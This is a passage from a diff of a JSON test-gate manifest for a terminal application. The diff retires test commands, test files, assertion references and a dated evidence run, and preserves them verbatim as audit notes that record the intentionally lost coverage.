src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1685 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Renderer-state tests assert provider-session ownership across preserved and queued panes. Main/provider contracts assert atomic attach-only adoption, stable host/worktree/tab/leaf identity, no fresh spawn on adoption, and safe paired-runtime cancellation. The Electron oracle creates inactive runtime-owned Codex and Setup PTYs plus an unrelated canary, seeds an exact resumable provider session, removes only the target renderer projections, and activates the workspace. It requires byte-stable handle, PTY, incarnation, tab, leaf, process PID, renderer graph, persisted binding, runtime id, graph epoch, and daemon PID across first mount and reload; PID-specific DOM keyboard I/O must remain live with one launch, zero resume argv, zero signals, zero interruption text, and no canary mutation.",
-      "commands": [
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/completed-worker-retirement-resume.unit.test.ts --reporter=verbose",
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts src/main/providers/local-pty/local-pty-provider-spawn-session.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/ipc/pty/pty-pane-reservation-settlement.test.ts src/main/runtime/construction/orca-runtime.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts",
-        "pnpm exec electron-vite build --mode e2e && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/live-background-terminal-mount-authority.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1",
-        "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/agent-session/lifecycle/structured-agent-cli-writers.test.ts src/main/runtime/rpc/methods/structured-sessions/creation/structured-agent-session-adoption-replay.test.ts src/main/providers/agent-foreground-process-git-bash.win32.test.ts"
-      ],
-      "testFiles": [
-        "src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts",
-        "tests/e2e/completed-worker-retirement-resume.unit.test.ts",
-        "src/main/providers/local-pty/local-pty-provider-spawn-session.test.ts",
-        "src/main/daemon/terminal-host/testing/terminal-host.test.ts",
-        "src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts",
-        "src/main/ipc/pty/pty-pane-reservation-settlement.test.ts",
-        "src/main/runtime/construction/orca-runtime.test.ts",
-        "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts",
-        "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts",
-        "tests/e2e/live-background-terminal-mount-authority.spec.ts",
-        "src/main/runtime/agent-session/lifecycle/structured-agent-cli-writers.test.ts",
-        "src/main/runtime/rpc/methods/structured-sessions/creation/structured-agent-session-adoption-replay.test.ts",
-        "src/main/providers/agent-foreground-process-git-bash.win32.test.ts"
-      ],
-      "assertionRefs": [
-        {
-          "file": "src/main/runtime/rpc/methods/structured-sessions/creation/structured-agent-session-adoption-replay.test.ts",
-          "assertions": ["captures source before routing (unary=%s)"]
-        },
-        {
-          "file": "src/main/providers/agent-foreground-process-git-bash.win32.test.ts",
-          "assertions": ["sets aside a detached ssh-agent for adoption, but not a background job"]
-        },
-        {
-          "file": "tests/e2e/completed-worker-retirement-resume.unit.test.ts",
-          "assertions": [
-            "completed and explicitly retired workers retain no provider-resume authority on first workspace activation",
-            "the original tab, leaf, PTY, provider session, release state, replacement count, queued resume argv, emitted restored banner, and unrelated canary remain exact across restart"
-          ]
-        },
-        {
-          "file": "src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts",
-          "assertions": [
-            "preserved panes claim their provider session and only stale duplicates are cleared",
-            "one launch per provider session: skipped duplicates are cleared instead of relaunched",
-            "active stable-pane records owned by preserved or visible panes are not resumed again",
-            "hibernated stable panes with cleared live PTY bindings are skipped"
-          ]
-        },
-        {
-          "file": "src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts",
-          "assertions": [
-            "same-generation explicit reattach drains the authoritative snapshot before immediate live bytes and ACKs their delivery credit"
-          ]
-        },
-        {
-          "file": "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts",
-          "assertions": [
-            "paired-runtime stable-pane adoption reports reattach without fresh-spawn ownership",
-            "cancellation after a paired-runtime adoption cannot close the original owner"
-          ]
-        },
-        {
-          "file": "tests/e2e/live-background-terminal-mount-authority.spec.ts",
-          "assertions": [
-            "first mount and renderer reload preserve exact agent and Setup handle, PTY, incarnation, tab, leaf, and PID identity",
-            "PID-specific keyboard input and output remain user-visible in both mounted panes",
-            "runtime inventory, renderer graph, persisted session, runtime epoch, and daemon PID converge without replacement or resume",
-            "the unrelated canary remains writable and receives no signal across target projection repair"
-          ]
-        }
-      ],
-      "evidenceRuns": [
-        {
-          "date": "2026-07-03",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/resume-sleeping-agent-session.test.ts",
-          "result": "passed",
-          "durationSeconds": 1.9,
-          "summary": "1 test file(s) passed, 30 tests passed on main@1282f5c2d in a clean checkout.",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts"
-        }
-      ],
+      "oracle": "Audit3368 retires whole sleeping-agent-resume and host-session-launch suites: provider-claim/deduplication, stable-pane reattach, recipe/WSL startup, callback/cancel/create-close and compatibility examples are intentionally lost without equivalent replacement. The sole dated receipt is retired verbatim. With no active evidence, protection/platform/provider evidence clears and ALL commands/testFiles/assertionRefs are retired as complete original arrays in historical gaps, including selectors of surviving other sources; those sources remain in the broad suite. Prior red/green/flake accounts are historical only. No fresh runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Current assertionRefs retain separate provider-session non-replay and exact-PTY adoption checks in resume-sleeping-agent-session, completed-worker-retirement-resume, remote-runtime-pty-transport-host-session-launch and live-background-terminal-mount-authority. This batch changes only pane-fit's contribution: its three surviving cases check terminal-identity reveal, stale-handle replacement and withheld-frame completion; they do not prove provider-session ownership or exact-PTY adoption. Other assertionRefs and selectors remain unchanged; no fresh execution of those separate contracts is claimed. Audit2236: pane-fit.test.ts is reduced to terminal-identity reveal, stale-handle replacement ownership and withheld-animation-frame completion. The existing withheld-frame assertion remains exact; additional scheduling/breadcrumb, cancellation, display-none and synthetic metric examples are removed. No new execution or equivalent replacement coverage is claimed. Historical dated receipts and budgets are preserved verbatim and do not validate these reduced source bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1685 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Renderer-state tests assert provider-session ownership across preserved and queued panes. Main/provider contracts assert atomic attach-only adoption, stable host/worktree/tab/leaf identity, no fresh spawn on adoption, and safe paired-runtime cancellation. The Electron oracle creates inactive runtime-owned Codex and Setup PTYs plus an unrelated canary, seeds an exact resumable provider session, removes only the target renderer projections, and activates the workspace. It requires byte-stable handle, PTY, incarnation, tab, leaf, process PID, renderer graph, persisted binding, runtime id, graph epoch, and daemon PID across first mount and reload; PID-specific DOM keyboard I/O must remain live with one launch, zero resume argv, zero signals, zero interruption text, and no canary mutation.",
+      "commands": [],
+      "testFiles": [],
+      "assertionRefs": [],
+      "evidenceRuns": [],
       "runtimeBudget": {
         "p95Seconds": 180,
         "scope": "focused renderer/main/provider contracts plus one isolated Electron mount-and-reload journey"
       },
       "flakeHistory": {
         "status": "unknown",
-        "evidence": "The renderer gate has prior local evidence; the stable-pane Electron oracle is new and needs CI soak before blocking promotion."
+        "evidence": "Audit3368 retires sole active dated receipt. No fresh execution/soak validates current coverage; complete original account preserved verbatim as history."
       },
       "redGreenEvidence": {
         "status": "missing",
-        "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Renderer tests encode provider-session dedupe across active, inactive, queued, and live claims. The cross-boundary Electron oracle is constructed for byte-identical latest-main, candidate, and candidate-revert runs; record those three terminal results before promoting this gate."
+        "evidence": "Audit3368 changes/deletes referenced sources. No fresh red/green proof validates reduced coverage; original complete account preserved verbatim in knownGaps as history."
       },
       "performanceBudget": {
         "required": true,
@@ -7268,6 +7053,9 @@
         "Record byte-identical latest-main, candidate, and candidate-revert Electron results."
       ],
       "knownGaps": [
+        "NEXT65 current scope qualification: The NEXT65 knownGaps entries below govern the changed selectors and qualify any broader coverage implication in this gate’s unchanged oracle/coverageNotes narratives. Those narratives and preserved dated evidenceRuns retain their historical text and original exact execution scopes only; no fresh execution, transferred pass or equivalent replacement coverage is claimed. Upstream case removals remain upstream; original NEXT65 proposal descriptions grant no duplicate retirement credit.",
+        "NEXT65 active selector scope reduction (including directory-selected whole-file retirements): src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts. Remove complete registrations or registrar files within the selected scope for src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-daemon-snapshot-replay.spec.ts, src/renderer/src/components/terminal-pane/pty-connection/reattach/pty-connection-stale-daemon-snapshot-replay.spec.ts. Intentionally lose these named regression alarms without replacement: clears the captured pen for a normal-buffer fallback reattach — Fallback normal-buffer reattach clearing captured pen and dirty background loses this direct example.; waits for a recovered destination fit before forwarding its grid or live output — Recovered destination fitting before forwarding grid or live output loses this direct example.; suppresses the deferred reattach grid push when mobile claims the PTY while hidden — Mobile takeover while hidden suppressing deferred reattach grid forwarding loses this direct example.; drops stale callbacks but delivers fresh replacement output after an old replay clear — Fresh replacement output winning over stale callbacks after old replay clear loses this direct example.. Surviving parent statements and sibling registrations are preserved, but these reduced parent selectors have no fresh execution or transferred historical pass. Unrelated complete dated receipts retain only their original exact scopes; no equivalent replacement, rendered UI, provider, mobile, or cross-platform coverage is claimed.",
+        "NEXT65 historical original active parent-selector fields (verbatim native JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/completed-worker-retirement-resume.unit.test.ts --reporter=verbose\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts src/main/providers/local-pty/local-pty-provider-spawn-session.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/ipc/pty/pty-pane-reservation-settlement.test.ts src/main/runtime/construction/orca-runtime.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts\",\n        \"pnpm exec electron-vite build --mode e2e && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/live-background-terminal-mount-authority.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/agent-session/lifecycle/structured-agent-cli-writers.test.ts src/main/runtime/rpc/methods/structured-sessions/creation/structured-agent-session-adoption-replay.test.ts src/main/providers/agent-foreground-process-git-bash.win32.test.ts\"\n      ]\ntestFiles: [\n        \"src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts\",\n        \"tests/e2e/completed-worker-retirement-resume.unit.test.ts\",\n        \"src/main/providers/local-pty/local-pty-provider-spawn-session.test.ts\",\n        \"src/main/daemon/terminal-host/testing/terminal-host.test.ts\",\n        \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n        \"src/main/ipc/pty/pty-pane-reservation-settlement.test.ts\",\n        \"src/main/runtime/construction/orca-runtime.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts\",\n        \"tests/e2e/live-background-terminal-mount-authority.spec.ts\",\n        \"src/main/runtime/agent-session/lifecycle/structured-agent-cli-writers.test.ts\",\n        \"src/main/runtime/rpc/methods/structured-sessions/creation/structured-agent-session-adoption-replay.test.ts\",\n        \"src/main/providers/agent-foreground-process-git-bash.win32.test.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/main/runtime/rpc/methods/structured-sessions/creation/structured-agent-session-adoption-replay.test.ts\",\n          \"assertions\": [\"captures source before routing (unary=%s)\"]\n        },\n        {\n          \"file\": \"src/main/providers/agent-foreground-process-git-bash.win32.test.ts\",\n          \"assertions\": [\"sets aside a detached ssh-agent for adoption, but not a background job\"]\n        },\n        {\n          \"file\": \"tests/e2e/completed-worker-retirement-resume.unit.test.ts\",\n          \"assertions\": [\n            \"completed and explicitly retired workers retain no provider-resume authority on first workspace activation\",\n            \"the original tab, leaf, PTY, provider session, release state, replacement count, queued resume argv, emitted restored banner, and unrelated canary remain exact across restart\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts\",\n          \"assertions\": [\n            \"preserved panes claim their provider session and only stale duplicates are cleared\",\n            \"one launch per provider session: skipped duplicates are cleared instead of relaunched\",\n            \"active stable-pane records owned by preserved or visible panes are not resumed again\",\n            \"hibernated stable panes with cleared live PTY bindings are skipped\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n          \"assertions\": [\n            \"same-generation explicit reattach drains the authoritative snapshot before immediate live bytes and ACKs their delivery credit\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts\",\n          \"assertions\": [\n            \"paired-runtime stable-pane adoption reports reattach without fresh-spawn ownership\",\n            \"cancellation after a paired-runtime adoption cannot close the original owner\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/live-background-terminal-mount-authority.spec.ts\",\n          \"assertions\": [\n            \"first mount and renderer reload preserve exact agent and Setup handle, PTY, incarnation, tab, leaf, and PID identity\",\n            \"PID-specific keyboard input and output remain user-visible in both mounted panes\",\n            \"runtime inventory, renderer graph, persisted session, runtime epoch, and daemon PID converge without replacement or resume\",\n            \"the unrelated canary remains writable and receives no signal across target projection repair\"\n          ]\n        }\n      ]",
         "Audit3053 reduces hidden-replay coverage by retiring nominal overlap, resize, cursor metadata and standalone stalled-restore variants. Timeout, overflow, identity/generation fences and retained live-output coordination remain; the removed alarms are intentionally lost without equivalent replacement. Existing commands, assertion references and dated evidence retain their original scope.",
         "Audit2236: pane-fit.test.ts is reduced to terminal-identity reveal, stale-handle replacement ownership and withheld-animation-frame completion. The existing withheld-frame assertion remains exact; additional scheduling/breadcrumb, cancellation, display-none and synthetic metric examples are removed. No new execution or equivalent replacement coverage is claimed. Historical dated receipts and budgets are preserved verbatim and do not validate these reduced source bytes.",
         "Audit2145 accepts removal of canned runtime metadata/guard/forwarding, fake in-memory persistence, private work-count and wrapper-duplication tests from the construction/orca-runtime.test.ts aggregate, plus the two automation run-context guards from runtime-workspace-launch-contracts.test.ts. Retained race, framing, physical completion and ownership callbacks remain byte-identical. Existing commands remain valid selectors; historical receipts stay unchanged and provide no fresh validation or replacement coverage for the reduced suites.",
@@ -7296,7 +7084,17 @@
         "Audit2061 (sources2059/2060): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/mobile-session-tabs-headless-chat-rebuild.spec'); await import('./orca-runtime-tests/mobile-session-tabs-cold-serve-hydrate.spec'); await import('./orca-runtime-tests/worktree-removal-execution-host.spec'); await import('./orca-runtime-tests/terminal-spawn-dispatch.spec'). src/main/runtime/orca-runtime-tests/headless-snapshots-part-02.spec.ts: replaces a cwd parsed before late WSL context with the provider cwd; keeps a live WSL cwd that arrives during late-context snapshot recovery; infers local reconstructed WSL context from a WSL UNC worktree; clears stale terminal file URI hostnames after empty-host OSC7 cwd updates; serializes SSH headless OSC7 cwd as POSIX when the desktop runtime is on Windows; keeps Windows SSH OSC7 cwd as a drive path when the desktop runtime is POSIX; serializes Windows SSH headless OSC7 cwd as a drive path on POSIX desktops; infers restored SSH connection identity from app-scoped PTY ids. src/main/runtime/orca-runtime-tests/mobile-session-tabs-headless-chat-rebuild.spec.ts: survives the rebuild that closing a saved editor tab forces; keeps its place in the tab order when the host lists the workspace again; lists tabs to phones in the order desktop clients draw after a rebuild; keeps the place a window gave a chat across a graph resend before the chat is restored. src/main/runtime/orca-runtime-tests/mobile-session-tabs-cold-serve-hydrate.spec.ts: lists every persisted terminal of a windowless host after a cold restart; lists every persisted terminal in the all-worktrees inventory after a cold restart; lists persisted editor tabs beside the terminals after a cold restart; restores a persisted split group layout on the cold rebuild; restores the saved active group of a split even when it is not the first group; falls back to the active tab group when the saved active group was not restored; keeps the headless group active when there is no persisted split; keeps phone and CLI creates in the group they joined across a cold restart. src/main/runtime/orca-runtime-tests/worktree-removal-failed-retry.spec.ts: lists the leftover with its error, though Git no longer does; takes the normal delete once Git registers a checkout at the path again; joins a retry another client started while this Delete listed Git; shows the failed row with its error, not the scan cached before the delete. src/main/runtime/orca-runtime-tests/worktree-removal-execution-host.spec.ts: refuses an SSH row whose host is unreachable instead of deleting here; refuses a runtime row with no nested SSH target rather than deleting locally; refuses a runtime row that also names a nested SSH target; retains runtime purge dispatch in a recovery job; uses the runtime helper override before resuming an interrupted removal; uses the runtime helper override before retrying a failed removal; captures the watcher callback and retains its job-host receiver; reads the current runtime removal queue. src/main/runtime/orca-runtime-tests/terminal-spawn-dispatch.spec.ts: reports the spawn request before it leaves for the pty controller; reports it even when the spawn itself then fails; does not report it when the create fails before any spawn request; captures the admission method before reading the incarnation; captures the record method before evaluating its state object; skips database payload serialization when no database exists; skips a throwing database payload when no database exists; keeps the database method and receiver captured before its payload; captures the canonical map method before a binding getter changes it; completes the captured replacement fence without another map lookup. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed.",
         "Module layout policy correction: retire the remaining program-status-osc.spec.ts event-projection case (production/mock-derived pane-key oracle) and sign-in timeout case (real setTimeout wait with Date-only fake clocks). The runtime test registrar no longer imports that file. No replacement coverage or fresh execution is claimed for these losses; historical receipts retain their original source scope.",
         "Module layout policy correction: retire the two remaining worktree-ps-agent-row-dismissal.spec.ts registrations. The remint/dismissal/exit case computed expected snapshotVersion increments from a production snapshot and used real-clock vi.waitFor; the legacy OSC case derived its expected paneKey from the production layout-owner switch. The runtime registrar no longer imports this file. These public projection scenarios have no replacement coverage or fresh execution claimed; all historical receipts and earlier loss notes retain their original source scope.",
-        "Module-layout wave1 intentionally retires complete prohibited owning registrations in src/renderer/src/lib/pane-manager/pane-fit.test.ts. Lost alarms: runs the continuation when the reveal fit arrives on a different pane object; does not let a stale handle cancel its deferred replacement; resolves failure when hidden-window animation frames are withheld. No equivalent replacement coverage or pass for a reduced selector is claimed. All unrelated selectors and historical receipts retain their original scope."
+        "Module-layout wave1 intentionally retires complete prohibited owning registrations in src/renderer/src/lib/pane-manager/pane-fit.test.ts. Lost alarms: runs the continuation when the reveal fit arrives on a different pane object; does not let a stale handle cancel its deferred replacement; resolves failure when hidden-window animation frames are withheld. No equivalent replacement coverage or pass for a reduced selector is claimed. All unrelated selectors and historical receipts retain their original scope.",
+        "Audit3368 retires whole sleeping-agent-resume and host-session-launch suites: provider-claim/deduplication, stable-pane reattach, recipe/WSL startup, callback/cancel/create-close and compatibility examples are intentionally lost without equivalent replacement. The sole dated receipt is retired verbatim. With no active evidence, protection/platform/provider evidence clears and ALL commands/testFiles/assertionRefs are retired as complete original arrays in historical gaps, including selectors of surviving other sources; those sources remain in the broad suite. Prior red/green/flake accounts are historical only. No fresh runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed.",
+        "Audit3368 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts\",\n        \"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/completed-worker-retirement-resume.unit.test.ts --reporter=verbose\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts src/main/providers/local-pty/local-pty-provider-spawn-session.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/ipc/pty/pty-pane-reservation-settlement.test.ts src/main/runtime/construction/orca-runtime.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts\",\n        \"pnpm exec electron-vite build --mode e2e && SKIP_BUILD=1 pnpm exec playwright test tests/e2e/live-background-terminal-mount-authority.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/agent-session/lifecycle/structured-agent-cli-writers.test.ts src/main/runtime/rpc/methods/structured-sessions/creation/structured-agent-session-adoption-replay.test.ts src/main/providers/agent-foreground-process-git-bash.win32.test.ts\"\n      ]",
+        "Audit3368 historical original testFiles object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\n        \"src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts\",\n        \"tests/e2e/completed-worker-retirement-resume.unit.test.ts\",\n        \"src/main/providers/local-pty/local-pty-provider-spawn-session.test.ts\",\n        \"src/main/daemon/terminal-host/testing/terminal-host.test.ts\",\n        \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts\",\n        \"src/main/ipc/pty/pty-pane-reservation-settlement.test.ts\",\n        \"src/main/runtime/construction/orca-runtime.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts\",\n        \"tests/e2e/live-background-terminal-mount-authority.spec.ts\",\n        \"src/main/runtime/agent-session/lifecycle/structured-agent-cli-writers.test.ts\",\n        \"src/main/runtime/rpc/methods/structured-sessions/creation/structured-agent-session-adoption-replay.test.ts\",\n        \"src/main/providers/agent-foreground-process-git-bash.win32.test.ts\"\n      ]",
+        "Audit3368 historical original assertionRefs object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\n        {\n          \"file\": \"src/main/runtime/rpc/methods/structured-sessions/creation/structured-agent-session-adoption-replay.test.ts\",\n          \"assertions\": [\"captures source before routing (unary=%s)\"]\n        },\n        {\n          \"file\": \"src/main/providers/agent-foreground-process-git-bash.win32.test.ts\",\n          \"assertions\": [\"sets aside a detached ssh-agent for adoption, but not a background job\"]\n        },\n        {\n          \"file\": \"tests/e2e/completed-worker-retirement-resume.unit.test.ts\",\n          \"assertions\": [\n            \"completed and explicitly retired workers retain no provider-resume authority on first workspace activation\",\n            \"the original tab, leaf, PTY, provider session, release state, replacement count, queued resume argv, emitted restored banner, and unrelated canary remain exact across restart\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts\",\n          \"assertions\": [\n            \"preserved panes claim their provider session and only stale duplicates are cleared\",\n            \"one launch per provider session: skipped duplicates are cleared instead of relaunched\",\n            \"active stable-pane records owned by preserved or visible panes are not resumed again\",\n            \"hibernated stable panes with cleared live PTY bindings are skipped\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n          \"assertions\": [\n            \"same-generation explicit reattach drains the authoritative snapshot before immediate live bytes and ACKs their delivery credit\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts\",\n          \"assertions\": [\n            \"paired-runtime stable-pane adoption reports reattach without fresh-spawn ownership\",\n            \"cancellation after a paired-runtime adoption cannot close the original owner\"\n          ]\n        },\n        {\n          \"file\": \"tests/e2e/live-background-terminal-mount-authority.spec.ts\",\n          \"assertions\": [\n            \"first mount and renderer reload preserve exact agent and Setup handle, PTY, incarnation, tab, leaf, and PID identity\",\n            \"PID-specific keyboard input and output remain user-visible in both mounted panes\",\n            \"runtime inventory, renderer graph, persisted session, runtime epoch, and daemon PID converge without replacement or resume\",\n            \"the unrelated canary remains writable and receives no signal across target projection repair\"\n          ]\n        }\n      ]",
+        "Audit3368 historical original evidenceRuns object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\n        {\n          \"date\": \"2026-07-03\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/resume-sleeping-agent-session.test.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 1.9,\n          \"summary\": \"1 test file(s) passed, 30 tests passed on main@1282f5c2d in a clean checkout.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/lib/agent-session/resume/resume-sleeping-agent-session.test.ts\"\n        }\n      ]",
+        "Audit3368 historical original protection object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"partial\"",
+        "Audit3368 historical original coveredPlatforms object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\"macos\"]",
+        "Audit3368 historical original coveredProviders object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\"local\", \"daemon\", \"remote-runtime\"]",
